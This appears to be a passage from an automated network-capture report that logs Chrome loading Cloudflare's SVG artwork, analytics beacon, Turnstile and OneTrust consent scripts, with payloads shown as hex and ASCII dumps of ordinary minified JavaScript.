Adobe Illustrator 24.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 3a 23 46 46 46 46 46 46 3b 7d 0a 09 2e 73 74 31 7b 66 69 6c 6c 2d 72 75 6c 65 3a 65 76 65 6e 6f 64 64 3b 63 6c 69 70 2d 72 75 6c 65 3a 65 76 65 6e 6f 64 64 3b 66 69 6c 6c 3a 23 30 30 36 36 46 46 3b 7d 0a 09 2e 73 74 32 7b 66 69 6c 6c 3a 23 46 46 46 46 46 46 3b 7d 0a 09 2e 73 74 33 7b 66 69 6c 6c 3a 23 30 30 36 36 46 46 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 67 3e 0a 09 3c 67 20 69 64 3d 22 66 69 6e 61 6c 2d 2d 2d 64 65 63 2e 31 31 2d 32 30 32 30 5f 31 5f 22 3e 0a 09 09 3c 67 20 69 64 3d 22 5f 78 33 30 5f 32 30 38 2d 6f 75 72 2d 74 6f 67 67 6c 65 5f 32 5f 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 32 37 35 2e 30 30 30 30 30 30 2c 20 2d 32 30 30 2e 30 30 30 30 30 30 29 22 3e 0a 09 09 09 3c 67 20 69 64 3d 22 46 69 6e 61 6c 2d Data Ascii: :#FFFFFF;}.st1{fill-rule:evenodd;clip-rule:evenodd;fill:#0066FF;}.st2{fill:#FFFFFF;}.st3{fill:#0066FF;}</style><g><g id="final---dec.11-2020_1_"><g id="_x30_208-our-toggle_2_" transform="translate(-1275.000000, -200.000000)"><g id="Final-
2024-10-18 13:48:03 UTC	11	IN	Data Raw: 3e 0a 3c 2f 73 76 67 3e 0a 0d 0a Data Ascii: ></svg>
2024-10-18 13:48:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	50719	104.16.79.73	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:03 UTC	413	OUT	GET /beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015 HTTP/1.1 Host: static.cloudflareinsights.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:03 UTC	373	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:03 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 19948 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=86400 ETag: W/"2024.6.1" Last-Modified: Thu, 06 Jun 2024 15:52:56 GMT Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 8d48fbdb49eb2c9a-DFW
2024-10-18 13:48:03 UTC	996	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 33 34 33 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 32 35 36 3b 2b 2b 6e 29 74 5b 6e 5d 3d 28 6e 2b 32 35 36 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 2e 73 75 62 73 74 72 28 31 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 7c 7c 30 2c 69 3d 74 3b 72 65 74 75 72 6e 5b 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 22 2d 22 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 22 2d 22 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 22 2d 22 2c 69 5b 65 5b 72 2b Data Ascii: !function(){var e={343:function(e){"use strict";for(var t=[],n=0;n<256;++n)t[n]=(n+256).toString(16).substr(1);e.exports=function(e,n){var r=n\|\|0,i=t;return[i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r+
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 3b 69 66 28 61 5b 36 5d 3d 31 35 26 61 5b 36 5d 7c 36 34 2c 61 5b 38 5d 3d 36 33 26 61 5b 38 5d 7c 31 32 38 2c 74 29 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 31 36 3b 2b 2b 63 29 74 5b 6f 2b 63 5d 3d 61 5b 63 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 69 28 61 29 7d 7d 2c 31 36 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 3d 31 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 Data Ascii: ;if(a[6]=15&a[6]\|64,a[8]=63&a[8]\|128,t)for(var c=0;c<16;++c)t[o+c]=a[c];return t\|\|i(a)}},168:function(e,t,n){"use strict";var r=this&&this.__assign\|\|function(){return r=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arg
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 72 63 68 50 61 72 61 6d 73 29 7b 76 61 72 20 79 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 67 2e 72 65 70 6c 61 63 65 28 2f 5e 5b 5e 5c 3f 5d 2b 5c 3f 3f 2f 2c 22 22 29 29 2c 68 3d 79 2e 67 65 74 28 22 74 6f 6b 65 6e 22 29 3b 68 26 26 28 70 2e 74 6f 6b 65 6e 3d 68 29 3b 76 61 72 20 54 3d 79 2e 67 65 74 28 22 73 70 61 22 29 3b 70 2e 73 70 61 3d 6e 75 6c 6c 3d 3d 3d 54 7c 7c 22 74 72 75 65 22 3d 3d 3d 54 7d 7d 70 26 26 22 6d 75 6c 74 69 22 21 3d 3d 70 2e 6c 6f 61 64 26 26 28 70 2e 6c 6f 61 64 3d 22 73 69 6e 67 6c 65 22 29 2c 77 69 6e 64 6f 77 2e 5f 5f 63 66 42 65 61 63 6f 6e 3d 70 7d 69 66 28 73 26 26 70 26 26 70 2e 74 6f 6b 65 6e 29 7b 76 61 72 20 77 2c 53 2c 62 3d 21 31 3b 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 Data Ascii: rchParams){var y=new URLSearchParams(g.replace(/^[^\?]+\??/,"")),h=y.get("token");h&&(p.token=h);var T=y.get("spa");p.spa=null===T\|\|"true"===T}}p&&"multi"!==p.load&&(p.load="single"),window.__cfBeacon=p}if(s&&p&&p.token){var w,S,b=!1;document.addEventList
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 2e 74 69 6d 69 6e 67 73 56 32 3d 7b 7d 2c 64 2e 76 65 72 73 69 6f 6e 73 2e 74 69 6d 69 6e 67 73 3d 32 2c 64 2e 64 74 3d 6d 5b 30 5d 2e 64 65 6c 69 76 65 72 79 54 79 70 65 2c 64 65 6c 65 74 65 20 64 2e 74 69 6d 69 6e 67 73 2c 74 28 6d 5b 30 5d 2c 64 2e 74 69 6d 69 6e 67 73 56 32 29 29 7d 31 3d 3d 3d 64 2e 76 65 72 73 69 6f 6e 73 2e 74 69 6d 69 6e 67 73 26 26 74 28 63 2c 64 2e 74 69 6d 69 6e 67 73 29 2c 74 28 75 2c 64 2e 6d 65 6d 6f 72 79 29 7d 65 6c 73 65 20 4f 28 64 29 3b 72 65 74 75 72 6e 20 64 2e 66 69 72 73 74 50 61 69 6e 74 3d 6b 28 22 66 69 72 73 74 2d 70 61 69 6e 74 22 29 2c 64 2e 66 69 72 73 74 43 6f 6e 74 65 6e 74 66 75 6c 50 61 69 6e 74 3d 6b 28 22 66 69 72 73 74 2d 63 6f 6e 74 65 6e 74 66 75 6c 2d 70 61 69 6e 74 22 29 2c 70 26 26 28 70 2e 69 63 Data Ascii: .timingsV2={},d.versions.timings=2,d.dt=m[0].deliveryType,delete d.timings,t(m[0],d.timingsV2))}1===d.versions.timings&&t(c,d.timings),t(u,d.memory)}else O(d);return d.firstPaint=k("first-paint"),d.firstContentfulPaint=k("first-contentful-paint"),p&&(p.ic
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 65 72 65 64 3a 21 30 7d 7d 3b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 3f 52 28 29 3a 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 52 29 7d 29 29 3b 76 61 72 20 41 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4c 26 26 30 3d 3d 3d 76 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 69 64 3d 3d 3d 6c 7d 29 29 2e 6c 65 6e 67 74 68 7d 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 2e 70 75 73 68 28 7b 69 64 3a 6c 2c 75 72 6c 3a 65 2c 74 73 3a 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 Data Ascii: ered:!0}};"complete"===window.document.readyState?R():window.addEventListener("load",(function(){window.setTimeout(R)}));var A=function(){return L&&0===v.filter((function(e){return e.id===l})).length},_=function(e){v.push({id:l,url:e,ts:(new Date).getTime
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 72 63 65 4c 6f 61 64 54 69 6d 65 2c 45 2e 6c 63 70 2e 65 72 64 3d 63 2e 65 6c 65 6d 65 6e 74 52 65 6e 64 65 72 44 65 6c 61 79 2c 45 2e 6c 63 70 2e 69 74 3d 6e 75 6c 6c 3d 3d 3d 28 69 3d 63 2e 6c 63 70 52 65 73 6f 75 72 63 65 45 6e 74 72 79 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 69 6e 69 74 69 61 74 6f 72 54 79 70 65 2c 45 2e 6c 63 70 2e 66 70 3d 6e 75 6c 6c 3d 3d 3d 28 61 3d 6e 75 6c 6c 3d 3d 3d 28 6f 3d 63 2e 6c 63 70 45 6e 74 72 79 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6f 3f 76 6f 69 64 20 30 3a 6f 2e 65 6c 65 6d 65 6e 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 3f 76 6f 69 64 20 30 3a 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 66 65 74 63 68 70 72 69 6f 72 69 74 79 22 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 49 4e 50 22 Data Ascii: rceLoadTime,E.lcp.erd=c.elementRenderDelay,E.lcp.it=null===(i=c.lcpResourceEntry)\|\|void 0===i?void 0:i.initiatorType,E.lcp.fp=null===(a=null===(o=c.lcpEntry)\|\|void 0===o?void 0:o.element)\|\|void 0===a?void 0:a.getAttribute("fetchpriority"));break;case"INP"
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 64 65 64 42 6f 64 79 53 69 7a 65 26 26 28 72 2e 64 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 3d 6e 5b 30 5d 2e 64 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 29 2c 65 2e 64 74 3d 6e 5b 30 5d 2e 64 65 6c 69 76 65 72 79 54 79 70 65 29 2c 74 28 72 2c 65 2e 74 69 6d 69 6e 67 73 56 32 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 29 7b 76 61 72 20 74 3b 69 66 28 22 66 69 72 73 74 2d 63 6f 6e 74 65 6e 74 66 75 6c 2d 70 61 69 6e 74 22 3d 3d 3d 65 26 26 45 2e 66 63 70 26 26 45 2e 66 63 70 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 20 45 2e 66 63 70 2e 76 61 6c 75 65 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 73 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 3d 3d 3d 28 74 3d 73 2e 67 65 74 45 6e 74 72 69 Data Ascii: dedBodySize&&(r.decodedBodySize=n[0].decodedBodySize),e.dt=n[0].deliveryType),t(r,e.timingsV2)}}function k(e){var t;if("first-contentful-paint"===e&&E.fcp&&E.fcp.value)return E.fcp.value;if("function"==typeof s.getEntriesByType){var n=null===(t=s.getEntri
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 76 65 6e 74 54 79 70 65 3d 7b 7d 29 29 5b 72 2e 4c 6f 61 64 3d 31 5d 3d 22 4c 6f 61 64 22 2c 72 5b 72 2e 41 64 64 69 74 69 6f 6e 61 6c 3d 32 5d 3d 22 41 64 64 69 74 69 6f 6e 61 6c 22 2c 72 5b 72 2e 57 65 62 56 69 74 61 6c 73 56 32 3d 33 5d 3d 22 57 65 62 56 69 74 61 6c 73 56 32 22 2c 28 6e 3d 74 2e 46 65 74 63 68 50 72 69 6f 72 69 74 79 7c 7c 28 74 2e 46 65 74 63 68 50 72 69 6f 72 69 74 79 3d 7b 7d 29 29 2e 48 69 67 68 3d 22 68 69 67 68 22 2c 6e 2e 4c 6f 77 3d 22 6c 6f 77 22 2c 6e 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 2c 31 30 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 Data Ascii: ventType={}))[r.Load=1]="Load",r[r.Additional=2]="Additional",r[r.WebVitalsV2=3]="WebVitalsV2",(n=t.FetchPriority\|\|(t.FetchPriority={})).High="high",n.Low="low",n.Auto="auto"},104:function(e,t){!function(e){"use strict";var t,n,r,i,o,a=function(){return w
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 30 3f 72 3d 22 70 72 65 72 65 6e 64 65 72 22 3a 64 6f 63 75 6d 65 6e 74 2e 77 61 73 44 69 73 63 61 72 64 65 64 3f 72 3d 22 72 65 73 74 6f 72 65 22 3a 6e 2e 74 79 70 65 26 26 28 72 3d 6e 2e 74 79 70 65 2e 72 65 70 6c 61 63 65 28 2f 5f 2f 67 2c 22 2d 22 29 29 29 2c 7b 6e 61 6d 65 3a 65 2c 76 61 6c 75 65 3a 76 6f 69 64 20 30 3d 3d 3d 74 3f 2d 31 3a 74 2c 72 61 74 69 6e 67 3a 22 67 6f 6f 64 22 2c 64 65 6c 74 61 3a 30 2c 65 6e 74 72 69 65 73 3a 5b 5d 2c 69 64 3a 22 76 33 2d 22 2e 63 6f 6e 63 61 74 28 44 61 74 65 2e 6e 6f 77 28 29 2c 22 2d 22 29 2e 63 6f 6e 63 61 74 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 38 39 39 39 39 39 39 39 39 39 39 39 39 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 2b 31 65 31 32 29 2c 6e 61 76 69 67 61 74 69 6f 6e 54 79 70 65 3a 72 7d 7d 2c Data Ascii: 0?r="prerender":document.wasDiscarded?r="restore":n.type&&(r=n.type.replace(/_/g,"-"))),{name:e,value:void 0===t?-1:t,rating:"good",delta:0,entries:[],id:"v3-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12),navigationType:r}},
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 62 2c 21 30 29 2c 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 72 65 72 65 6e 64 65 72 69 6e 67 63 68 61 6e 67 65 22 2c 62 2c 21 30 29 7d 2c 43 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 3c 30 26 26 28 77 3d 53 28 29 2c 45 28 29 2c 6c 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 3d 53 28 29 2c 45 28 29 7d 29 2c 30 29 7d 29 29 29 2c 7b 67 65 74 20 66 69 72 73 74 48 69 64 64 65 6e 54 69 6d 65 28 29 7b 72 65 74 75 72 6e 20 77 7d 7d 7d 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 64 6f 63 75 6d 65 6e 74 2e 70 Data Ascii: function(){removeEventListener("visibilitychange",b,!0),removeEventListener("prerenderingchange",b,!0)},C=function(){return w<0&&(w=S(),E(),l((function(){setTimeout((function(){w=S(),E()}),0)}))),{get firstHiddenTime(){return w}}},P=function(e){document.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	50712	104.18.95.41	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:03 UTC	561	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:03 UTC	386	IN	HTTP/1.1 302 Found Date: Fri, 18 Oct 2024 13:48:03 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/62ec4f065604/api.js Server: cloudflare CF-RAY: 8d48fbdc1d9bb78d-DFW alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	50713	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:03 UTC	761	OUT	GET /public/vendor/onetrust/scripttemplates/otSDKStub.js HTTP/1.1 Host: ot.www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:03 UTC	837	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:03 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: W/"c26259f649def56fbb3b494c9ae5b5a1" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff X-Robots-Tag: noindex Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MKxDBKTgTkMdofDBABUaKdltnLfetRd8aum0trVPEu1D%2BTu4uvMtzRcU3%2FtdA%2Bti%2FObJf8eXojdKDzpMidjs3OxXKJBakbhAaafkbhKJ2GOS91VZ3EuNtCcfHgKMszya%2BCHIYuoEpso%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding CF-Cache-Status: MISS Server: cloudflare CF-RAY: 8d48fbdc29176c5b-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:03 UTC	532	IN	Data Raw: 35 32 65 65 0d 0a 76 61 72 20 4f 6e 65 54 72 75 73 74 53 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 2c 6f 2c 70 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4f 70 74 61 6e 6f 6e 43 6f 6e 73 65 6e 74 22 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 74 6d 6c 47 72 6f 75 70 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 6f 73 74 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 67 65 6e 56 65 6e 64 6f 72 73 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 76 65 6e 64 6f 72 73 53 65 72 76 69 63 65 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 49 41 42 43 6f 6f 6b 69 65 56 61 6c 75 65 3d 22 22 2c 74 68 69 73 2e 6f 6e 65 54 72 75 73 74 49 41 42 Data Ascii: 52eevar OneTrustStub=function(t){"use strict";var a,o,p=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIAB
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 2c 22 53 4b 22 2c 22 46 49 22 2c 22 53 45 22 2c 22 47 42 22 2c 22 48 52 22 2c 22 4c 49 22 2c 22 4e 4f 22 2c 22 49 53 22 5d 2c 74 68 69 73 2e 73 74 75 62 46 69 6c 65 4e 61 6d 65 3d 22 6f 74 53 44 4b 53 74 75 62 22 2c 74 68 69 73 2e 44 41 54 41 46 49 4c 45 41 54 54 52 49 42 55 54 45 3d 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 2c 74 68 69 73 2e 62 61 6e 6e 65 72 53 63 72 69 70 74 4e 61 6d 65 3d 22 6f 74 42 61 6e 6e 65 72 53 64 6b 2e 6a 73 22 2c 74 68 69 73 2e 6d 6f 62 69 6c 65 4f 6e 6c 69 6e 65 55 52 4c 3d 5b 5d 2c 74 68 69 73 2e 69 73 4d 69 67 72 61 74 65 64 55 52 4c 3d 21 31 2c 74 68 69 73 2e 6d 69 67 72 61 74 65 64 43 43 54 49 44 3d 22 5b 5b 4f 6c 64 43 43 54 49 44 5d 5d 22 2c 74 68 69 73 2e 6d 69 67 72 61 74 65 64 44 6f 6d 61 69 6e 49 Data Ascii: ,"SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainI
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 2f 29 29 5b 31 5d 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 65 5b 74 68 69 73 2e 63 61 6d 65 6c 69 7a 65 28 61 5b 30 5d 29 5d 3d 61 5b 31 5d 2e 74 72 69 6d 28 29 7d 72 65 74 75 72 6e 20 65 7d 2c 65 29 3b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 69 6d 70 6c 65 6d 65 6e 74 54 68 65 50 6f 6c 79 66 69 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 2c 6f 3d 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3b 72 65 74 75 72 6e 20 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 22 73 74 79 6c 65 22 21 3d 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 26 26 6f 2e 61 70 Data Ascii: /))[1])return null;e[this.camelize(a[0])]=a[1].trim()}return e},e);function e(){var t=this;this.implementThePolyfill=function(){var a=t,o=Element.prototype.setAttribute;return Element.prototype.setAttribute=function(t,e){if("style"!==t.toLowerCase()&&o.ap
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 43 41 54 4f 52 5f 4e 41 4d 45 29 29 7d 2c 74 68 69 73 2e 72 65 6d 6f 76 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 64 65 6c 65 74 65 20 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 69 66 72 61 6d 65 5b 6e 61 6d 65 3d 22 2b 73 2e 4c 4f 43 41 54 4f 52 5f 4e 41 4d 45 2b 22 5d 22 29 5b 30 5d 3b 74 26 26 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 7d 2c 74 68 69 73 2e 65 78 65 63 75 74 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b Data Ascii: CATOR_NAME))},this.removeGppApi=function(){delete s.win.__gpp;var t=document.querySelectorAll("iframe[name="+s.LOCATOR_NAME+"]")[0];t&&t.parentElement.removeChild(t)},this.executeGppApi=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 54 65 78 74 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 2c 65 2e 6e 61 6d 65 3d 74 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 2c 22 47 50 50 20 4c 6f 63 61 74 6f 72 22 29 2c 69 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 2e 61 64 64 46 72 61 6d 65 28 74 29 7d 2c 35 29 29 2c 21 6e 7d 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 2c 6e 3d 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 72 65 74 75 72 6e 20 6e 2e 65 76 65 6e 74 73 3d 6e 2e 65 76 65 6e 74 73 7c 7c 5b 5d 2c 6e 75 6c 6c 21 3d 28 69 3d 6e 29 26 26 69 2e 6c 61 73 74 49 64 7c 7c 28 6e 2e 6c 61 73 74 49 64 3d 30 29 Data Ascii: Text="display:none",e.name=t,e.setAttribute("title","GPP Locator"),i.body.appendChild(e)):setTimeout(function(){s.addFrame(t)},5)),!n},this.addEventListener=function(t,e){var i,n=s.win.__gpp;return n.events=n.events\|\|[],null!=(i=n)&&i.lastId\|\|(n.lastId=0)
